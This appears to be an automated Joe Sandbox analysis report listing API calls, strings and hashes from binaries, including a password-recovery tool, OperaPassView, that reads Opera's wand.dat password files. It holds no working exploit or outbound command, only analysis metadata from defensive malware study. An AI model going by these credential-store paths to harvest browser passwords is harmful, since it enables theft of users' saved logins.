Associated: 00000001.00000002.2756241935.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000409000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756411953.00000000004C3000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756434708.00000000004C5000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ .jbxd

Similarity

API ID: Heap$Allocate$Freestrlen
String ID:
API String ID: 3543670626-0
Opcode ID: 00b5e7f4474d1610928f4fd92f534d406abcc27283626e612fe652c0a87dc2ac
Instruction ID: 9a70041e5ee9e3aa3c8356125c7a9a49bf0f5e47ff7a9399fb27335f50f92b23
Opcode Fuzzy Hash: 00b5e7f4474d1610928f4fd92f534d406abcc27283626e612fe652c0a87dc2ac
Instruction Fuzzy Hash: F0215EB4A00208EFCB00CF58C984FAA37B5EF88314F20C469F8059B395D776AE41DB99

Function 00405C1A Relevance: 6.0, APIs: 4, Instructions: 35windowCOMMON

Download Yara Rule

APIs

IsWindowEnabled.USER32(?), ref: 00405C24
IsWindowVisible.USER32(?), ref: 00405C2F
GetWindowLongA.USER32(?,000000F0), ref: 00405C3C
SetFocus.USER32(?), ref: 00405C5A

Memory Dump Source

Source File: 00000001.00000002.2756276210.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2756241935.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000409000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756411953.00000000004C3000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756434708.00000000004C5000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ .jbxd

Similarity

API ID: Window$EnabledFocusLongVisible
String ID:
API String ID: 599048109-0
Opcode ID: cb1c87f19132670d348f43589caefb14191d0db9c4e993ae8d8c67d75e8ba143
Instruction ID: 9b191372e45709e83f1cce7d42dee75ff49b7deadfcab72b6d2fd196ff601546
Opcode Fuzzy Hash: cb1c87f19132670d348f43589caefb14191d0db9c4e993ae8d8c67d75e8ba143
Instruction Fuzzy Hash: 04F0DA752087019BE7209F36DE8CA57B7ACFB94751718843AB496E3290CB38D851CA69

Function 004051A3 Relevance: 6.0, APIs: 4, Instructions: 28COMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(?,000000F0), ref: 004051AB
GetParent.USER32(?), ref: 004051C1
MapWindowPoints.USER32(00000000,00000000), ref: 004051CA
MoveWindow.USER32(?,?,?,?,?,00000001), ref: 004051E9

Memory Dump Source

Source File: 00000001.00000002.2756276210.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2756241935.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000409000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756411953.00000000004C3000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756434708.00000000004C5000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ .jbxd

Similarity

API ID: Window$LongMoveParentPoints
String ID:
API String ID: 473562985-0
Opcode ID: fab0eefbd949c8aa4791b99baa1f4904001a3ff5d6ae233363cc4ff1c4dfdd85
Instruction ID: 050705d4d46781d10eeea3c7f9e2e02fa34a3de8c5ebb1e511241672335786dd
Opcode Fuzzy Hash: fab0eefbd949c8aa4791b99baa1f4904001a3ff5d6ae233363cc4ff1c4dfdd85
Instruction Fuzzy Hash: 4EF07472140209BFDF019F98DD49FAA3B69FB08751F00C125BE19AA1A0C771D9619B55

Function 004041CF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 004041F9
CreateWindowExA.USER32(?,Static,00000000,?,?,?,?,?,00000000,000000FF,00000000), ref: 00404285

Strings

Static, xrefs: 0040427F

Memory Dump Source

Source File: 00000001.00000002.2756276210.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2756241935.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000409000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756411953.00000000004C3000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756434708.00000000004C5000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ .jbxd

Similarity

API ID: CreateWindowmemset
String ID: Static
API String ID: 1730425660-2272013587
Opcode ID: a183efbfaf25bebbc042af10ac3eb9652dafe14b9b7bbd77ffa2e887317b7bbd
Instruction ID: da57442342e235b20ab9d9cc299fb314f46126ddfb0dd979976cb01a117c754a
Opcode Fuzzy Hash: a183efbfaf25bebbc042af10ac3eb9652dafe14b9b7bbd77ffa2e887317b7bbd
Instruction Fuzzy Hash: D7215BB1500205AFDB115F51ED09F5B3F69EB85364F00823AFA247A2E1C3BA8921DBDC

Function 004044F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040451C
CreateWindowExA.USER32(00000000,Button,?,?,?,?,?,?,?,000000FF,00000000), ref: 00404583

Strings

Button, xrefs: 0040457D

Memory Dump Source

Source File: 00000001.00000002.2756276210.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2756241935.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000409000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756411953.00000000004C3000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756434708.00000000004C5000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ .jbxd

Similarity

API ID: CreateWindowmemset
String ID: Button
API String ID: 1730425660-1034594571
Opcode ID: 010baa73ad986994c1f3d44621661aa9df68acf71dbd6cab57f37a79d6a076ba
Instruction ID: c03ed1e6e3b39e81b365a7cda6e144c566f8838bc6f058065528baead89b727a
Opcode Fuzzy Hash: 010baa73ad986994c1f3d44621661aa9df68acf71dbd6cab57f37a79d6a076ba
Instruction Fuzzy Hash: DF118EB2400119BFCB119F55DE45DAB3FB8EB48358B10403AFA15B62A1D3798D20DBEC

Function 00405625 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetPropA.USER32(00000000,PB_ID), ref: 0040563D
GetWindowLongA.USER32(00000000,000000F4), ref: 0040564A

Strings

PB_ID, xrefs: 00405635

Memory Dump Source

Source File: 00000001.00000002.2756276210.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2756241935.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000409000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756411953.00000000004C3000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756434708.00000000004C5000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ .jbxd

Similarity

API ID: LongPropWindow
String ID: PB_ID
API String ID: 2492497586-4173770792
Opcode ID: 69a740be24c28eba4c03775af690aa08edf4449696e8d17c58a7346d2cbb1dd2
Instruction ID: dcde74696da6f989fa088eeb670c0edb8cd62ec8937a9ae86c05ee9430180859
Opcode Fuzzy Hash: 69a740be24c28eba4c03775af690aa08edf4449696e8d17c58a7346d2cbb1dd2
Instruction Fuzzy Hash: C3F06232100208ABCF115F64DD08E6B7BAAEB54350B44443AFD0DB22A0C736CC61DB98

Function 00404836 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetPropA.USER32(?,PB_WindowID), ref: 0040484C
GetParent.USER32(?), ref: 00404859

Strings

PB_WindowID, xrefs: 00404846

Memory Dump Source

Source File: 00000001.00000002.2756276210.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2756241935.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000409000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756411953.00000000004C3000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756434708.00000000004C5000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ .jbxd

Similarity

API ID: ParentProp
String ID: PB_WindowID
API String ID: 919147419-1508741625
Opcode ID: 56451676a8244703e2aa9ad7ec794e987ab7873823adb8b3af72ac0c5334d140
Instruction ID: eb09f32ff92d9ce12a6399f95510d521de9387f6d8f05edb00c370aed95cd547
Opcode Fuzzy Hash: 56451676a8244703e2aa9ad7ec794e987ab7873823adb8b3af72ac0c5334d140
Instruction Fuzzy Hash: 5CD0C2B770132167C221662A5C84E4796ACAAD8B60300C43BF701F3251C278CC0182E9

Analysis Process: OperaPassView.exePID: 7972, Parent PID: 7372COMMON

Execution Graph

Execution Coverage:	8.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	1.3%
Total number of Nodes:	1651
Total number of Limit Nodes:	16

Executed Functions

Function 00408D32 Relevance: 42.2, APIs: 21, Strings: 3, Instructions: 169
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004022B7: LoadLibraryW.KERNEL32(comctl32.dll), ref: 004022D6
Part of subcall function 004022B7: GetProcAddress.KERNEL32(00000000,InitCommonControlsEx), ref: 004022E8
Part of subcall function 004022B7: FreeLibrary.KERNEL32(00000000), ref: 004022FC
Part of subcall function 004022B7: MessageBoxW.USER32(00000001,Error: Cannot load the common control classes.,Error,00000030), ref: 00402327

SetErrorMode.KERNELBASE(00008001), ref: 00408D5A
GetModuleHandleW.KERNEL32(00000000,0040A86C,00000000), ref: 00408D73
EnumResourceTypesW.KERNEL32(00000000), ref: 00408D7A
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,/deleteregkey,/savelangfile), ref: 00408E11
DeleteObject.GDI32(?), ref: 00408E2B

Strings

, xrefs: 00408DAD
/savelangfile, xrefs: 00408DE5
/deleteregkey, xrefs: 00408E49

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: Library$??3@AddressDeleteEnumErrorFreeHandleLoadMessageModeModuleObjectProcResourceTypes
String ID: $/deleteregkey$/savelangfile
API String ID: 3591293073-28296030
Opcode ID: de3f40b4e55eeaaf1dac55b68430880ef7ee47ccc67b33af9c9c8b447cd1d60c
Instruction ID: b443d161a9bfda6ba7bb93ee09c3e4a052c8ad070ab97aa12102e52f6c463f3b
Opcode Fuzzy Hash: de3f40b4e55eeaaf1dac55b68430880ef7ee47ccc67b33af9c9c8b447cd1d60c
Instruction Fuzzy Hash: 4A611C71408345DBD720AF62DE4895FBBE9EFC4344F004A3EF684A2191DB7994158F9A

Function 00408150 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 137
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00408181

Part of subcall function 00403CE2: GetModuleFileNameW.KERNEL32(00000000,00000208,00000104,0040556D,00000000,00405420,?,00000000,00000208), ref: 00403CED

wcsrchr.MSVCRT ref: 0040819F
wcscat.MSVCRT ref: 004081B9
memset.MSVCRT ref: 00408244
wcslen.MSVCRT ref: 00408265
wcslen.MSVCRT ref: 00408274
wcslen.MSVCRT ref: 004082D3
wcslen.MSVCRT ref: 004082E2

Strings

.cfg, xrefs: 004081B3
Opera\Opera7\profile\wand.dat, xrefs: 004082CE, 004082F9
Opera\Opera\wand.dat, xrefs: 0040825D, 0040828B

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: wcslen$memset$FileModuleNamewcscatwcsrchr
String ID: .cfg$Opera\Opera7\profile\wand.dat$Opera\Opera\wand.dat
API String ID: 2318608877-1497048727
Opcode ID: 33e8aad3c5a6076f0ea671c7ce7c09fc12d2d20503ac13a8f891f9da74e1a541
Instruction ID: 5ce434d71b15ec2f64e036e0180c1da2dfbcaf4792122087830a502de8537aac
Opcode Fuzzy Hash: 33e8aad3c5a6076f0ea671c7ce7c09fc12d2d20503ac13a8f891f9da74e1a541
Instruction Fuzzy Hash: 8941CA729003089BDB10EF65D885A8A73B8FF44314F1408BFE559F71C2EB79AA548B8C

Function 0040B772 Relevance: 18.1, APIs: 12, Instructions: 134
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(00000000,0040C390,00000070), ref: 0040B781
__set_app_type.MSVCRT ref: 0040B7E0
__p__fmode.MSVCRT ref: 0040B7F5
__p__commode.MSVCRT ref: 0040B803
__setusermatherr.MSVCRT ref: 0040B82F
_initterm.MSVCRT ref: 0040B845
__wgetmainargs.MSVCRT ref: 0040B868
_initterm.MSVCRT ref: 0040B87B
GetStartupInfoW.KERNEL32(?), ref: 0040B8D8
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 0040B8FE
exit.KERNELBASE ref: 0040B915
_cexit.MSVCRT ref: 0040B91B

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: HandleModule_initterm$InfoStartup__p__commode__p__fmode__set_app_type__setusermatherr__wgetmainargs_cexitexit
String ID:
API String ID: 2827331108-0
Opcode ID: e0c6bfa8702341f2c90823e91bb724e8eadc7258dc9a4fdf4a994c74bbcb6742
Instruction ID: ab676f94fb741c2de4f94484a28f2edc40db6796b33061c840ac924c3e863e0c
Opcode Fuzzy Hash: e0c6bfa8702341f2c90823e91bb724e8eadc7258dc9a4fdf4a994c74bbcb6742
Instruction Fuzzy Hash: D1517F75D00205DBCB21AFA4D988AAD7BB4FB44710F20827BE461B72E1D7784C82CB9D

Function 0040AAE0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040AAB1: LoadLibraryW.KERNEL32(shell32.dll,0040AAEF,?), ref: 0040AABF
Part of subcall function 0040AAB1: GetProcAddress.KERNEL32(00000000,SHGetSpecialFolderPathW), ref: 0040AAD4

memset.MSVCRT ref: 0040AB1F
wcscpy.MSVCRT ref: 0040AB43
RegCloseKey.ADVAPI32(00408257,?,?,?,?,?,?,?,?,?), ref: 0040AB65
wcscpy.MSVCRT ref: 0040AB74

Part of subcall function 00403DE2: GetVersionExW.KERNEL32(00410A50,?,0040AAFE,?), ref: 00403DFC

Strings

AppData, xrefs: 0040AB3D

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: wcscpy$AddressCloseLibraryLoadProcVersionmemset
String ID: AppData
API String ID: 288233908-2707804156
Opcode ID: 8d49d394efc7713b9456a5529a91419b7c92975be1bbff4b9d4d8043798716bc
Instruction ID: 285cc4c544a26c6ac391f473c3cfc38f594349739ab536cf3326fa6f296e20f7
Opcode Fuzzy Hash: 8d49d394efc7713b9456a5529a91419b7c92975be1bbff4b9d4d8043798716bc
Instruction Fuzzy Hash: 6A01C471801218BADB10F7659C4AEEF777CDB44300F200476FA09B10C2E7796E54DAAB

Function 00408AC8 Relevance: 7.6, APIs: 5, Instructions: 67
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

??2@YAPAXI@Z.MSVCRT(00000220,00000000,?,?,?,00408DCA), ref: 00408AEA
??2@YAPAXI@Z.MSVCRT(00001AEC,00000000,?,?,?,00408DCA), ref: 00408B0C
DeleteObject.GDI32(?), ref: 00408B58
GetModuleHandleW.KERNEL32(00000000,00000000,?,?,?,00408DCA), ref: 00408BA0
LoadIconW.USER32(00000000,00000065), ref: 00408BA9

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: ??2@$DeleteHandleIconLoadModuleObject
String ID:
API String ID: 659443934-0
Opcode ID: 660448ec29b933ae47869e628f782440b5c7a0053d3100fe72f0c838a0ebb1a0
Instruction ID: 5d30767ec0c00a9ff56c1776cbe2dae35935defb109371278764e22d2acb7e78
Opcode Fuzzy Hash: 660448ec29b933ae47869e628f782440b5c7a0053d3100fe72f0c838a0ebb1a0
Instruction Fuzzy Hash: A92139B1901249DFCB70AFB99C896D977A8FF44314F108A3FE90CEB281DB7955108B58

Function 0040A7E6 Relevance: 6.1, APIs: 4, Instructions: 55
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceW.KERNELBASE(?,?,?), ref: 0040A7F3
SizeofResource.KERNEL32(?,00000000), ref: 0040A804
LoadResource.KERNEL32(?,00000000), ref: 0040A814
LockResource.KERNEL32(00000000), ref: 0040A81F

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: Resource$FindLoadLockSizeof
String ID:
API String ID: 3473537107-0
Opcode ID: c456b9334452d35e45e3ecd944d806d125ba2c6968af7380ccb795f94074ae4c
Instruction ID: 6c7702eab830fa794dbe4d4f612f035a24f1c300b0a6ce6b495dcb88548036a5
Opcode Fuzzy Hash: c456b9334452d35e45e3ecd944d806d125ba2c6968af7380ccb795f94074ae4c
Instruction Fuzzy Hash: BB018833600315EBCB195FA5DD8595B7F5EFF85290708C136F809EA2A0D770C951D688

Function 0040493D Relevance: 5.1, APIs: 4, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

??2@YAPAXI@Z.MSVCRT(00000000,004049ED,004020A6,OperaPassView), ref: 00404977
??2@YAPAXI@Z.MSVCRT(00000000,00000000,004049ED,004020A6,OperaPassView), ref: 00404995
??2@YAPAXI@Z.MSVCRT(00000000,00000000,00000000,004049ED,004020A6,OperaPassView), ref: 004049B3
??2@YAPAXI@Z.MSVCRT(00000000,00000000,00000000,00000000,004049ED,004020A6,OperaPassView), ref: 004049D1

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: d78e13eaeaa92522975b109eca75e478145f83747a9411d93f1e62bee6f41732
Instruction ID: b3cae04eb33b1d64d1131991b9440b615a7550b70ba3bdc0b761ddafc789e2f0
Opcode Fuzzy Hash: d78e13eaeaa92522975b109eca75e478145f83747a9411d93f1e62bee6f41732
Instruction Fuzzy Hash: 40011EB66412407EEB589B38ED177AAA6E4E78D344F04863FA306CE2F4EB7544008B4C

Function 00408C56 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 75
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_wcsicmp.MSVCRT ref: 00408CAD

Part of subcall function 00408BC0: _wcsicmp.MSVCRT ref: 00408BC6

Strings

/stext, xrefs: 00408CA8

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: _wcsicmp
String ID: /stext
API String ID: 2081463915-3817206916
Opcode ID: 64707a9a51d8eba358d02dd674303af0b4e945527d11ee965fa2c5d6d56f0a03
Instruction ID: 6c959480c053d333f8a6b6221491e3d2ceffcc90531821a7b641c9a82b32392d
Opcode Fuzzy Hash: 64707a9a51d8eba358d02dd674303af0b4e945527d11ee965fa2c5d6d56f0a03
Instruction Fuzzy Hash: 672171312142049FD700AF579981A5A37E5EFD4318F10447FF899BF282DF79A8018B6A

Function 0040A764 Relevance: 3.0, APIs: 2, Instructions: 22
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WritePrivateProfileStringW.KERNEL32(?,?,?,?), ref: 0040A77E
GetPrivateProfileStringW.KERNEL32(?,?,?,?,?,?), ref: 0040A793

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: PrivateProfileString$Write
String ID:
API String ID: 2948465352-0
Opcode ID: f4a82916b1e0431dc8ece45825df8e7d6a171639940823de7da9e9e15d1772e4
Instruction ID: 40d9067811e5fdefbedcbc10adba8553b8dd249bfe1a2ca3aad13c684c334763
Opcode Fuzzy Hash: f4a82916b1e0431dc8ece45825df8e7d6a171639940823de7da9e9e15d1772e4
Instruction Fuzzy Hash: 4AE0E53604020DFBCF018FA0DD88EEA3B79AB08308F04C529BA1999061C736C536EBA5

Function 0040A4AC Relevance: 1.5, APIs: 1, Instructions: 19
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetPrivateProfileIntW.KERNEL32(?,?,?,?), ref: 0040A4D3

Part of subcall function 0040A3B9: memset.MSVCRT ref: 0040A3D8
Part of subcall function 0040A3B9: _itow.MSVCRT ref: 0040A3EF
Part of subcall function 0040A3B9: WritePrivateProfileStringW.KERNEL32(?,?,00000000), ref: 0040A3FE

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: PrivateProfile$StringWrite_itowmemset
String ID:
API String ID: 4232544981-0
Opcode ID: 965a588e9c93152147c1e3fa739ecc5a5bb65bfc638b42a4412db2d146051a2a
Instruction ID: 18a49fe9df3f170761e63d2b61cf9b5c2f74bedf8807eb1637f337264b4ddbe6
Opcode Fuzzy Hash: 965a588e9c93152147c1e3fa739ecc5a5bb65bfc638b42a4412db2d146051a2a
Instruction Fuzzy Hash: D9E0BD3200020DEBDF125F90EC05AAA3BA6FF14315F24866AFE5C24160D37295B0EB89

Function 0040429D Relevance: 1.5, APIs: 1, Instructions: 13
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNELBASE(?,?,00000000,00000000,00000000,?,?,00401E28,?,?,00000000,?), ref: 004042B4

Memory Dump Source

